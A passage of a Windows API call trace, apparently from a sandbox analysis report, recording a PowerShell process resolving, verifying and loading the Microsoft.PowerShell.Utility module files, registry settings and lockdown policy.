"c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580d030 | out: lpFileInformation=0x250580d030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0148.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580cf10) returned 1 [0148.065] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0148.065] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0148.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cee0) returned 1 [0148.065] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0148.065] GetFileType (hFile=0x76c) returned 0x1 [0148.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580ce50) returned 1 [0148.065] GetFileType (hFile=0x76c) returned 0x1 [0148.065] WTGetSignatureInfo () returned 0x0 [0148.602] CertDuplicateCertificateContext (pCertContext=0x1cbf29f0ad0) returned 0x1cbf29f0ad0 [0148.603] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580cf78 | out: phkResult=0x250580cf78*=0x790) returned 0x0 [0148.603] RegQueryValueExW (in: hKey=0x790, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580cfc8, lpData=0x0, lpcbData=0x250580cfc0*=0x0 | out: lpType=0x250580cfc8*=0x1, lpData=0x0, lpcbData=0x250580cfc0*=0x56) returned 0x0 [0148.603] RegQueryValueExW (in: hKey=0x790, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580cfc8, lpData=0x1cbdaa884d8, lpcbData=0x250580cfc0*=0x56 | out: lpType=0x250580cfc8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580cfc0*=0x56) returned 0x0 [0148.603] RegCloseKey (hKey=0x790) returned 0x0 [0148.603] CoTaskMemAlloc (cb=0x10) returned 0x1cbf2906980 [0148.603] CoTaskMemAlloc (cb=0x50) returned 0x1cbf29836f0 [0148.603] WinVerifyTrust () returned 0x0 [0148.606] CoTaskMemFree (pv=0x1cbf29836f0) [0148.606] CoTaskMemFree (pv=0x1cbf2906980) [0148.606] CertFreeCertificateContext (pCertContext=0x1cbf29f0ad0) returned 1 [0148.606] CloseHandle (hObject=0x76c) returned 1 [0148.606] AmsiOpenSession () returned 0x80070057 [0148.804] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0148.805] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0148.817] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0148.817] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0148.817] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0148.817] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0148.992] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0148.992] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0148.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cf80) returned 1 [0148.992] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x250580d060 | out: lpFileInformation=0x250580d060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0148.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580cf40) returned 1 [0148.994] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0148.994] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0148.994] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x250580cb10, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x91 [0148.996] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0149.009] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0149.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0149.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0149.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cbb0) returned 1 [0149.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x250580cc90 | out: lpFileInformation=0x250580cc90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580cb70) returned 1 [0149.012] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0149.014] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0149.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0149.015] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0149.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cbb0) returned 1 [0149.015] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x250580cc90 | out: lpFileInformation=0x250580cc90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580cb70) returned 1 [0149.017] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0149.968] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0149.968] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0149.969] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0149.969] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0149.969] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0149.969] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0150.952] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0150.952] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0150.952] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0150.952] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2a36620 [0150.952] GetSystemDirectoryW (in: lpBuffer=0x1cbf2a36620, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0150.952] CoTaskMemFree (pv=0x1cbf2a36620) [0150.952] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0150.952] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0150.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c9d0) returned 1 [0150.952] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x250580cab0 | out: lpFileInformation=0x250580cab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0150.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c990) returned 1 [0150.952] GetSystemInfo (in: lpSystemInfo=0x250580cb20 | out: lpSystemInfo=0x250580cb20*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0150.953] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580ca28 | out: phkResult=0x250580ca28*=0x76c) returned 0x0 [0150.953] RegQueryValueExW (in: hKey=0x76c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x250580ca78, lpData=0x0, lpcbData=0x250580ca70*=0x0 | out: lpType=0x250580ca78*=0x0, lpData=0x0, lpcbData=0x250580ca70*=0x0) returned 0x2 [0150.953] RegCloseKey (hKey=0x76c) returned 0x0 [0150.953] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0150.953] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0150.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580ca10) returned 1 [0150.953] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab5b230 | out: lpFileInformation=0x1cbdab5b230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0150.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c9d0) returned 1 [0150.956] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0150.956] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0150.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c980) returned 1 [0150.956] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x250580ca60 | out: lpFileInformation=0x250580ca60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0150.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c940) returned 1 [0150.956] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0150.956] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0150.956] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0150.956] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0150.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c860) returned 1 [0150.957] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x250580c940 | out: lpFileInformation=0x250580c940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0150.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c820) returned 1 [0150.957] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0150.957] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0150.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580c7f0) returned 1 [0151.006] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0151.007] GetFileType (hFile=0x76c) returned 0x1 [0151.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580c760) returned 1 [0151.007] GetFileType (hFile=0x76c) returned 0x1 [0151.007] WTGetSignatureInfo () returned 0x0 [0151.097] CertDuplicateCertificateContext (pCertContext=0x1cbf29eecd0) returned 0x1cbf29eecd0 [0151.097] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580c888 | out: phkResult=0x250580c888*=0x79c) returned 0x0 [0151.097] RegQueryValueExW (in: hKey=0x79c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580c8d8, lpData=0x0, lpcbData=0x250580c8d0*=0x0 | out: lpType=0x250580c8d8*=0x1, lpData=0x0, lpcbData=0x250580c8d0*=0x56) returned 0x0 [0151.097] RegQueryValueExW (in: hKey=0x79c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250580c8d8, lpData=0x1cbdab5b908, lpcbData=0x250580c8d0*=0x56 | out: lpType=0x250580c8d8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250580c8d0*=0x56) returned 0x0 [0151.097] RegCloseKey (hKey=0x79c) returned 0x0 [0151.097] CoTaskMemAlloc (cb=0x10) returned 0x1cbf2906b40 [0151.097] CoTaskMemAlloc (cb=0x50) returned 0x1cbf29826d0 [0151.097] WinVerifyTrust () returned 0x0 [0151.101] CoTaskMemFree (pv=0x1cbf29826d0) [0151.101] CoTaskMemFree (pv=0x1cbf2906b40) [0151.101] CertFreeCertificateContext (pCertContext=0x1cbf29eecd0) returned 1 [0151.101] CloseHandle (hObject=0x76c) returned 1 [0151.101] GetFullPathNameW (in: 